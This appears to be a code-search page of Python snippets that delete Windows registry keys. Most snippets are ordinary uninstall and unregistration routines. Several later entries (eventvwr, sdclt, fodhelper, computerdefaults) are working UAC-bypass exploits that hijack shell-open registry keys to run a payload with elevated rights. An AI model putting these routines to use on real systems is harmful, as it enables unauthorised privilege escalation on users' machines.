示例#1
0
 def findWritableClassesSection(self):
     # first try in HKEY_CLASSES_ROOT
     try:
         writer = _winreg.ConnectRegistry(None, _winreg.HKEY_CLASSES_ROOT)
         GatoFileTestHandle = _winreg.CreateKey(writer, "Gato.File.Test")
         _winreg.DeleteKey(writer, "Gato.File.Test")
         return writer
     except WindowsError:
         # print "could not access HKEY_CLASSES_ROOT/Gato.File"
         # self.traceback.print_exc()
         pass
         # next try...
     try:
         writer = _winreg.ConnectRegistry(None, _winreg.HKEY_CURRENT_USER)
         SoftwareSection = _winreg.OpenKey(writer, "Software")
         ClassesSection = _winreg.OpenKey(SoftwareSection, "Classes", 0,
                                          _winreg.KEY_SET_VALUE)
         GatoFileTestHandle = _winreg.CreateKey(ClassesSection,
                                                "Gato.File.Test")
         _winreg.DeleteKey(ClassesSection, "Gato.File.Test")
         return ClassesSection
     except WindowsError:
         # print "could not access HKEY_CURRENT_USER/Software/Classes Section"
         # self.traceback.print_exc()
         return None
示例#2
0
    def restore(self, key, value=''):
        """ Restore to the last registry known state
        """
        if self.no_restore is False:
            new_sk = self.last_created['new_sk']
            k = self.last_created['key']
            exist_sk = self.last_created['existing_sk']

            self.del_value(key, value)

            if new_sk is not None:
                for i in range(len(new_sk)):
                    if i == 0:
                        try:
                            winreg.DeleteKey(k, "\\".join(exist_sk + new_sk))
                        except WindowsError as error:
                            pass
                    else:
                        try:
                            winreg.DeleteKey(k,
                                             "\\".join(exist_sk + new_sk[:-i]))
                        except WindowsError as error:
                            pass

                self.last_created['new_sk'] = None
                self.last_created['existing_sk'] = None
                self.last_created['key'] = None
def delete_reg_key(root_key, key, menu_name):
    '''
    删除一个右键菜单注册表子键
    :param root_key:根键
    :param key: 父键
    :param menu_name: 菜单子键名称
    :return: None
    '''
    try:
        parent_key = reg.OpenKey(root_key, key)
    except Exception as msg:
        print msg
        return
    if parent_key:
        try:
            menu_key = reg.OpenKey(parent_key, menu_name)
        except Exception as msg:
            print msg
            return
        if menu_key:
            try:
                # 必须先删除子键的子键,才能删除子键本身
                reg.DeleteKey(menu_key, 'command')
            except Exception as msg:
                print msg
                return
            else:
                reg.DeleteKey(parent_key, menu_name)
示例#4
0
def unregisterInstallation(keepDesktopShortcut=False):
	try:
		winreg.DeleteKeyEx(winreg.HKEY_LOCAL_MACHINE, easeOfAccess.APP_KEY_PATH,
			winreg.KEY_WOW64_64KEY)
		easeOfAccess.setAutoStart(winreg.HKEY_LOCAL_MACHINE, False)
	except WindowsError:
		pass
	wsh=_getWSH()
	desktopPath=os.path.join(wsh.SpecialFolders("AllUsersDesktop"),"NVDA.lnk")
	if not keepDesktopShortcut and os.path.isfile(desktopPath):
		try:
			os.remove(desktopPath)
		except WindowsError:
			pass
	startMenuFolder=getStartMenuFolder()
	if startMenuFolder:
		programsPath=wsh.SpecialFolders("AllUsersPrograms")
		startMenuPath=os.path.join(programsPath,startMenuFolder)
		if os.path.isdir(startMenuPath):
			shutil.rmtree(startMenuPath,ignore_errors=True)
	try:
		winreg.DeleteKey(winreg.HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\nvda")
	except WindowsError:
		pass
	try:
		winreg.DeleteKey(winreg.HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\nvda.exe")
	except WindowsError:
		pass
	try:
		winreg.DeleteKey(winreg.HKEY_LOCAL_MACHINE,config.NVDA_REGKEY)
	except WindowsError:
		pass
	unregisterAddonFileAssociation()
示例#5
0
def remove_reg_key():
    try:
        root_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, r'Software\MW')
        _winreg.DeleteKey(root_key, '3DPrinting\CorePath')
        _winreg.DeleteKey(root_key, '3DPrinting\ConfigFile')
        _winreg.DeleteKey(root_key, '3DPrinting')
    except:
        MWLOG.exception('REMOVE REG KEY')
示例#6
0
def delete_keys(reg_root):
    winreg.DeleteKey(reg_root,
                     r'Software\Classes\Directory\shell\metageta\Command')
    winreg.DeleteKey(reg_root, r'Software\Classes\Directory\shell\metageta')
    winreg.DeleteKey(
        reg_root,
        r'Software\Classes\Directory\Background\shell\metageta\Command')
    winreg.DeleteKey(reg_root,
                     r'Software\Classes\Directory\Background\shell\metageta')
def delete_registry_key():
    """ Delete the "Edit with IdleX" registry key """
    reg = W.ConnectRegistry(None, W.HKEY_CURRENT_USER)
    p = W.OpenKey(reg, r'Software\Classes\Python.File\shell', 0,
                  W.KEY_ALL_ACCESS)
    p2 = W.DeleteKey(p, 'Edit with IdleX\command')
    p3 = W.DeleteKey(p, 'Edit with IdleX')
    W.CloseKey(p)
    W.CloseKey(reg)
示例#8
0
def delregkey(regpath):
    root, path, subkeys = enumregkeys(regpath)
    keyHandle = _winreg.CreateKey(regDict[root], path)
    for i in subkeys:
        _winreg.DeleteKey(keyHandle, i)

    selfName = regpath.split('\\')[len(regpath.split('\\')) - 1]
    selfPath = '\\'.join(regpath.split('\\')[1:len(regpath.split('\\')) - 1])
    selfHandle = _winreg.CreateKey(regDict[root], selfPath)
    _winreg.DeleteKey(selfHandle, selfName)
示例#9
0
文件: winreg.py 项目: moepnse/pi
def delete_key(key, sub_key):
    # https://docs.python.org/2/faq/design.html#why-can-t-raw-strings-r-strings-end-with-a-backslash
    key = key.strip("\\")
    sub_key = sub_key.strip("\\")
    winreg.DeleteKey(key, sub_key)

    # IMPORTANT:
    # If you need to Delete a Key, you need to set the access mask to KEY_WRITE!
    # Default Value is KEY_READ!
    key_handle = winreg.OpenKey(REG_MAPPING[key], sub_key, 0, winreg.KEY_WRITE)
    winreg.DeleteKey(key_handle, sub_key)
    winreg.CloseKey(key_handle)
示例#10
0
def set_sleep_clear_key(key, subkey, name, value, value_type, delete_depth=0):

    try:
        hkey = winreg.CreateKey(key, subkey)
    except:
        common.log("Unable to open key. Likely a permissions error. Exiting")
        exit(common.ACCESS_DENIED)

    common.log("Reading existing value from {}\\{}\\{}".format(
        key_dict[key], subkey, name))
    try:
        # try to read key, will throw WindowsError if key doesn't exist
        old_value = winreg.QueryValueEx(hkey, name)[0]
        common.log("Saved original value: {}".format(old_value))
        key_existed = True

    except WindowsError:
        common.log("Key/value doesn't exist. Will create.")
        key_existed = False

    common.log("Setting {} as value".format(value))
    try:
        # try to write to key, will throw WindowsError if permissions are missing
        winreg.SetValueEx(hkey, name, 0, value_type, value)
    except WindowsError:
        common.log(
            "Unable to write registry key. Likely a permissions error. Exiting"
        )
        winreg.CloseKey(hkey)
        exit(common.ACCESS_DENIED)

    time.sleep(2)

    # Cleanup
    if key_existed:
        common.log("Cleaning up, restoring original value")
        winreg.SetValueEx(hkey, name, 0, value_type, old_value)
        winreg.CloseKey(hkey)
    else:
        if delete_depth == 0:
            common.log("Cleaning up, deleting {}".format(name))
            winreg.DeleteValue(hkey, name)
            winreg.CloseKey(hkey)
        else:
            common.log(
                "Cleaning up, deleting key to depth {}".format(delete_depth))
            winreg.CloseKey(hkey)
            winreg.DeleteKey(key, subkey)
            for i in range(-1, -1 * delete_depth, -1):
                winreg.DeleteKey(key, '\\'.join(subkey.split('\\')[:i]))

    time.sleep(2)
示例#11
0
def DllUnregisterServer():
    import _winreg
    try:
        folder_key = _winreg.DeleteKey(
            _winreg.HKEY_CLASSES_ROOT,
            "Folder\\shellex\\ContextMenuHandlers\\PythonSample")
        file_key = _winreg.DeleteKey(
            _winreg.HKEY_CLASSES_ROOT,
            "*\\shellex\\ContextMenuHandlers\\PythonSample")
    except WindowsError, details:
        import errno
        if details.errno != errno.ENOENT:
            raise
示例#12
0
 def OnToolUnRegister(win, event):
     try:
         key = _winreg.OpenKey(_winreg.HKEY_CLASSES_ROOT, '*\\shell',
                               _winreg.KEY_ALL_ACCESS)
         _winreg.DeleteKey(key, 'UliPad\\command')
         _winreg.DeleteKey(key, 'UliPad')
         common.note(tr('Successful!'))
     except:
         error.traceback()
         wx.MessageDialog(
             win,
             tr('Unregistering UliPad from the context menu of Windows Explorer failed.'
                ), tr("Error"), wx.OK | wx.ICON_EXCLAMATION).ShowModal()
示例#13
0
def DllUnregisterServer():
    try:
        _winreg.DeleteKey(_winreg.HKEY_CLASSES_ROOT,
                          "Folder\\shellex\\ContextMenuHandlers\\CmdWindow")
        _winreg.DeleteKey(_winreg.HKEY_CLASSES_ROOT,
                          "File\\shellex\\ContextMenuHandlers\\CmdWindow")
        _winreg.DeleteKey(
            _winreg.HKEY_CLASSES_ROOT,
            "Python.File\\shellex\\ContextMenuHandlers\\CmdWindow")
    except WindowsError, details:
        import errno
        if details.errno != errno.ENOENT:
            raise
示例#14
0
文件: osx.py 项目: italomaia/spe
def registerFileDelete(label, fileType='Python.File'):
    try:
        import _winreg
        reload(_winreg)
        key='%s\\shell\\%s'%(fileType,label)
        _winreg.DeleteKey(_winreg.HKEY_CLASSES_ROOT,key+'\\command')
    except:
        pass
    try:
        _winreg.DeleteKey(_winreg.HKEY_CLASSES_ROOT,key)
        return 1
    except:
        return None
示例#15
0
def main():
    try:
        install = 'remove' not in sys.argv[1]
    except:
        install = True
    lbry_path = os.path.join(os.environ["ProgramFiles"], "LBRY", "LBRY.exe")

    key_url = 'lbry'
    try:
        key = winreg.OpenKey(winreg.HKEY_CLASSES_ROOT, key_url, 0,
                             winreg.KEY_ALL_ACCESS)
    except:
        key = winreg.CreateKey(winreg.HKEY_CLASSES_ROOT, key_url)
    if install:
        winreg.SetValueEx(key, None, 0, winreg.REG_SZ, "URL:LBRY Protocol")
        winreg.SetValueEx(key, "URL Protocol", 0, winreg.REG_SZ, "")
    else:
        winreg.DeleteKey(winreg.HKEY_CLASSES_ROOT, key_url)

    winreg.CloseKey(key)

    key_icon = os.path.join('lbry', 'DefaultIcon')
    try:
        key = winreg.OpenKey(winreg.HKEY_CLASSES_ROOT, key_icon, 0,
                             winreg.KEY_ALL_ACCESS)
    except:
        key = winreg.CreateKey(winreg.HKEY_CLASSES_ROOT, key_icon)
    if install:
        winreg.SetValueEx(key, None, 0, winreg.REG_SZ, "\"LBRY.exe,1\"")
    else:
        winreg.DeleteKey(winreg.HKEY_CLASSES_ROOT, key_icon)
    winreg.CloseKey(key)

    key_command = os.path.join('lbry', 'shell', 'open', 'command')
    try:
        key = winreg.OpenKey(winreg.HKEY_CLASSES_ROOT, key_command, 0,
                             winreg.KEY_ALL_ACCESS)
    except:
        key = winreg.CreateKey(winreg.HKEY_CLASSES_ROOT, key_command)
    if install:
        winreg.SetValueEx(key, None, 0, winreg.REG_SZ,
                          "\"{0}\" \"%1\"".format(lbry_path))
    else:
        winreg.DeleteKey(winreg.HKEY_CLASSES_ROOT, key_command)
    winreg.CloseKey(key)

    win32gui.SendMessage(win32con.HWND_BROADCAST, win32con.WM_SETTINGCHANGE, 0,
                         'Environment')
示例#16
0
 def __del_keys(self):
     'Private class method.'
     try:
         while True:
             _winreg.DeleteKey(self.__key, _winreg.EnumKey(self.__key, 0))
     except EnvironmentError:
         pass
示例#17
0
 def removeKeys(self, keys):
     for _key_name in keys:
         try:
             # delete desired Windows register key
             _winreg.DeleteKey(HKCR, _key_name)
         except EnvironmentError:
             return False
def event_viewer_uac_bypass():
	if (os.path.isfile(os.path.join("c:\windows\system32\eventvwr.exe")) == True):
		try:
			PromptBehaviorAdmin = _winreg.QueryValueEx(_winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"),"ConsentPromptBehaviorAdmin")
			PromptOnSecureDesktop = _winreg.QueryValueEx(_winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"),"PromptOnSecureDesktop")
		except Exception as error:
			sys.exit()

		if (PromptBehaviorAdmin[0] == "2" and PromptOnSecureDesktop[0] == "1"):
			sys.exit()
		else:
			try:
				key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER,"Software\Classes\mscfile\shell\open\command")
				#_winreg.SetValueEx(key,None,0,_winreg.REG_
				_winreg.SetValueEx(key,None,0,_winreg.REG_SZ,cmd_path())
			except Exception as error:
				sys.exit()

			try:
				win32api.ShellExecute(0,None,"c:\windows\system32\eventvwr.exe",None,None,win32con.SW_HIDE)
			except Exception as error:
				sys.exit()

			time.sleep(5)

			try:
#_winreg.DeleteKey(_winreg.HKEY_CURRENT_USER,"Software\Cl")
#_winreg.DeleteKey(_winreg.HK
                        _winreg.DeleteKey(_winreg.HKEY_CURRENT_USER,"Software\Classes\mscfile")
			except Exception as error:
				sys.exit()
	else:
		sys.exit()
示例#19
0
def DllUnregisterServer():
    klass = OutlookAddin
    # Try to remove the HKLM version.
    try:
        _winreg.DeleteKey(_winreg.HKEY_LOCAL_MACHINE,
                          "Software\\Microsoft\\Office\\Outlook\\Addins\\" \
                          + klass._reg_progid_)
    except WindowsError:
        pass
    # and again for current user.
    try:
        _winreg.DeleteKey(_winreg.HKEY_CURRENT_USER,
                          "Software\\Microsoft\\Office\\Outlook\\Addins\\" \
                          + klass._reg_progid_)
    except WindowsError:
        pass
示例#20
0
 def delete_key(self, key, subkey):
     """ Deletes a particular key
     """
     try:
         return winreg.DeleteKey(key, subkey)
     except WindowsError as error:
         print "Error al eliminar la clave"
def sdclt_control_bypass():
    if (os.path.isfile(os.path.join("c:\windows\system32\sdclt.exe")) == True):
        try:
            key = _winreg.CreateKey(
                _winreg.HKEY_CURRENT_USER,
                "Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
            )
            _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, cmd_path())
        except Exception as error:
            sys.exit()

        try:
            win32api.ShellExecute(0, None, "c:\windows\system32\sdclt.exe",
                                  None, None, win32con.SW_HIDE)
        except Exception as error:
            sys.exit()

        time.sleep(5)

        try:
            _winreg.DeleteKey(
                _winreg.HKEY_CURRENT_USER,
                "Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
            )
        except Exception as error:
            return False
    else:
        sys.exit()
示例#22
0
  def testRegistryListing(self):
    """Test our ability to list registry keys."""
    if platform.system() != "Windows":
      return

    # Make a value we can test for
    import _winreg  # pylint: disable=g-import-not-at-top

    key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,
                          "Software",
                          0,
                          _winreg.KEY_CREATE_SUB_KEY)
    subkey = _winreg.CreateKey(key, "GRR_Test")
    _winreg.SetValueEx(subkey, "foo", 0, _winreg.REG_SZ, "bar")

    vfs_path = "HKEY_CURRENT_USER/Software/GRR_Test"

    pathspec = rdfvalue.PathSpec(
        path=vfs_path,
        pathtype=rdfvalue.PathSpec.PathType.REGISTRY)
    for f in vfs.VFSOpen(pathspec).ListFiles():
      self.assertEqual(f.pathspec.path, "/" + vfs_path + "/foo")
      self.assertEqual(f.resident, "bar")

    _winreg.DeleteKey(key, "GRR_Test")
示例#23
0
 def _recursive_delete(self, reg, start_path, end_path):
     try:
         while (len(start_path) < len(end_path)):
             _winreg.DeleteKey(reg, end_path)
             end_path = end_path[0:end_path.rfind('\\')]
     except Exception, e:
         pass
def computerdefaults(payload):
    print """
 -------------------------------------------------------------
 computerdefaults.exe is an auto-elevated binary that is
 vulnerable to file handler hijacking. 
 
 Read access to HKCU\Software\Classes\ms-settings\shell\open
 \command is performed upon execution. Due to the registry
 key being accessible from user mode, an arbitrary
 executable file can be injected.

 When everything worked correctly, the payload should be
 spawned with high IL.
 -------------------------------------------------------------
 """
    print_info("Payload: {}".format(payload))
    print_info("Attempting to create registry key")
    try:
        key = _winreg.CreateKey(
            _winreg.HKEY_CURRENT_USER,
            os.path.join("Software\Classes\ms-settings\shell\open\command"))
        _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, payload)
        _winreg.SetValueEx(key, "DelegateExecute", 0, _winreg.REG_SZ, None)
        _winreg.CloseKey(key)
    except Exception as error:
        print_error("Unable to create key")
        return False
    else:
        print_success("Registry key created")

    print_info("Pausing for 5 seconds before executing")
    time.sleep(5)

    print_info("Attempting to create process")
    try:
        result = wmi.Win32_Process.Create(
            CommandLine="cmd.exe /c start computerdefaults.exe",
            ProcessStartupInformation=wmi.Win32_ProcessStartup.new(
                ShowWindow=1))
        if (result[1] == 0):
            print_success("Process started successfully")
        else:
            print_error("Problem creating process")
    except Exception as error:
        print_error("Problem creating process")
        return False

    print_info("Pausing for 5 seconds before cleaning")
    time.sleep(5)

    print_info("Attempting to remove registry key")
    try:
        _winreg.DeleteKey(
            _winreg.HKEY_CURRENT_USER,
            os.path.join("Software\Classes\ms-settings\shell\open\command"))
    except Exception as error:
        print_error("Unable to delete key")
        return False
    else:
        print_success("Registry key was deleted")
示例#25
0
    def rdelete(self, key, subkey):
        """ Recursively delete a Windows registry key.
        This function will remove a key, even if it
        has child keys. There is no equivalent in
        _winreg. """

        if type(key) is str:
            hkey = Registry.map_key(key)
        elif type(key) is Registry.RegistryKey:
            hkey = key.getkey()
        else:
            hkey = key

        if type(subkey) is str:
            subkey = self.open(hkey, subkey)

        # test2
        childkeys = subkey.keys()
        for keyname in childkeys:
            # print 'Child=>',keyname
            childkey = self.open(subkey.getkey(), keyname)
            self.rdelete(subkey, childkey)

        # print subkey.getkeyname()
        wreg.DeleteKey(hkey, subkey.getkeyname())
示例#26
0
def delete_registry_key(parent_key, really_delete):
    """Delete registry key including any values and sub-keys.
    Return boolean whether found and success.  If really
    delete is False (meaning preview), just check whether
    the key exists."""
    parent_key = str(parent_key)  # Unicode to byte string
    (hive, parent_sub_key) = split_registry_key(parent_key)
    hkey = None
    try:
        hkey = _winreg.OpenKey(hive, parent_sub_key)
    except WindowsError as e:
        if e.winerror == 2:
            # 2 = 'file not found' happens when key does not exist
            return False
    if not really_delete:
        return True
    if not hkey:
        # key not found
        return False
    keys_size = _winreg.QueryInfoKey(hkey)[0]
    child_keys = []
    for i in range(keys_size):
        child_keys.append(parent_key + '\\' + _winreg.EnumKey(hkey, i))
    for child_key in child_keys:
        delete_registry_key(child_key, True)
    _winreg.DeleteKey(hive, parent_sub_key)
    return True
示例#27
0
def eventvwr(payload):
	if (payloads().exe(payload) == True):
		try:
			key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER,os.path.join("Software\Classes\mscfile\shell\open\command"))				
			_winreg.SetValueEx(key,None,0,_winreg.REG_SZ,payload)
			_winreg.CloseKey(key)
		except Exception as error:
			print_error("Unable to create registry keys, exception was raised: {}".format(error))
			return False
		else:
			print_success("Successfully created Default key containing payload ({})".format(os.path.join(payload)))

		time.sleep(5)
		
		print_info("Disabling file system redirection")
		with disable_fsr():
			print_success("Successfully disabled file system redirection")
			if (process().create("cmd.exe /c start eventvwr.exe",1) == True):
				print_success("Successfully spawned process ({})".format(os.path.join(payload)))
			else:
				print_error("Unable to spawn process ({})".format(os.path.join(payload)))		

		time.sleep(5)

		try:
			_winreg.DeleteKey(_winreg.HKEY_CURRENT_USER,os.path.join("Software\Classes\mscfile\shell\open\command"))
		except Exception as error:
			print_error("Unable to cleanup")
			return False
		else:
			print_success("Successfully cleaned up, enjoy!")
	else:
		print_error("Cannot proceed, invalid payload")
		return False			
def sdclt_isolatedcommand(payload):
	if payloads().exe(payload):
		try:
			key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER,
									os.path.join("Software\\Classes\\exefile\\shell\\runas\\command"))
			_winreg.SetValueEx(key, "IsolatedCommand", 0, _winreg.REG_SZ,payload)
			_winreg.CloseKey(key)
		except Exception as error:
			print_error("Unable to create registry keys, exception was raised: {}".format(error))
			return False
		else:
			print_success("Successfully created IsolatedCommand key containing payload ({})".format(os.path.join(payload)))

		time.sleep(5)

		print_info("Disabling file system redirection")
		with disable_fsr():
			print_success("Successfully disabled file system redirection")
			if process().create("sdclt.exe", params="/kickoffelev"):
				print_success("Successfully spawned process ({})".format(payload))
			else:
				print_error("Unable to spawn process ({})".format(os.path.join(payload)))

		time.sleep(5)

		try:
			_winreg.DeleteKey(_winreg.HKEY_CURRENT_USER, os.path.join("Software\\Classes\\exefile\\shell\\runas\\command"))
		except Exception as error:
			print_error("Unable to cleanup")
			return False
		else:
			print_success("Successfully cleaned up, enjoy!")
	else:
		print_error("Cannot proceed, invalid payload")
		return False
示例#29
0
def fodhelper_dll_hijack():
    if (os.path.isfile(
            os.path.join("c:\windows\system32\fodhelper.exe")) == True):
        try:
            key = _winreg.CreateKey(
                _winreg.HKEY_CURRENT_USER,
                "Software\Classes\ms-settings\Shell\Open\command")
            _winreg.SetValueEx(key, "DelegateExecute", 0, _winreg.REG_SZ, None)
            _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, cmd_path())
            _winreg.CloseKey(key)
        except Exception as error:
            return False

        try:
            win32api.ShellExecute(0, None, "c:\windows\system32\fodhelper.exe",
                                  None, None, win32con.SW_HIDE)
        except Exception as error:
            return False

        time.sleep(5)

        try:
            _winreg.DeleteKey(_winreg.HKEY_CURRENT_USER,
                              "Software\Classes\ms-settings")
        except Exception as error:
            return False
    else:
        sys.exit()
示例#30
0
def addKeyValueToWindowsRegistry(key, value):
    ''' 保存键值对到windows注册表中 '''
    if cmp(os.name, 'nt') == 0:
        import _winreg

        regPrefixPath = _winreg.HKEY_CURRENT_USER
        regSubPath = u'Software\\SCS_client'

        try:
            reg = _winreg.OpenKey(regPrefixPath, regSubPath)
        except EnvironmentError:
            try:
                reg = _winreg.CreateKey(regPrefixPath, regSubPath)
            except:
                print "*** Unable to register!"
                return False
        try:
            if (_winreg.QueryValue(reg, key) != value):
                _winreg.DeleteKey(reg, key)
                _winreg.SetValue(reg, key, _winreg.REG_SZ, value)
        except Exception, e:
            _winreg.SetValue(reg, key, _winreg.REG_SZ, value)

        try:
            if reg: _winreg.CloseKey(reg)
        except Exception:
            pass

        return True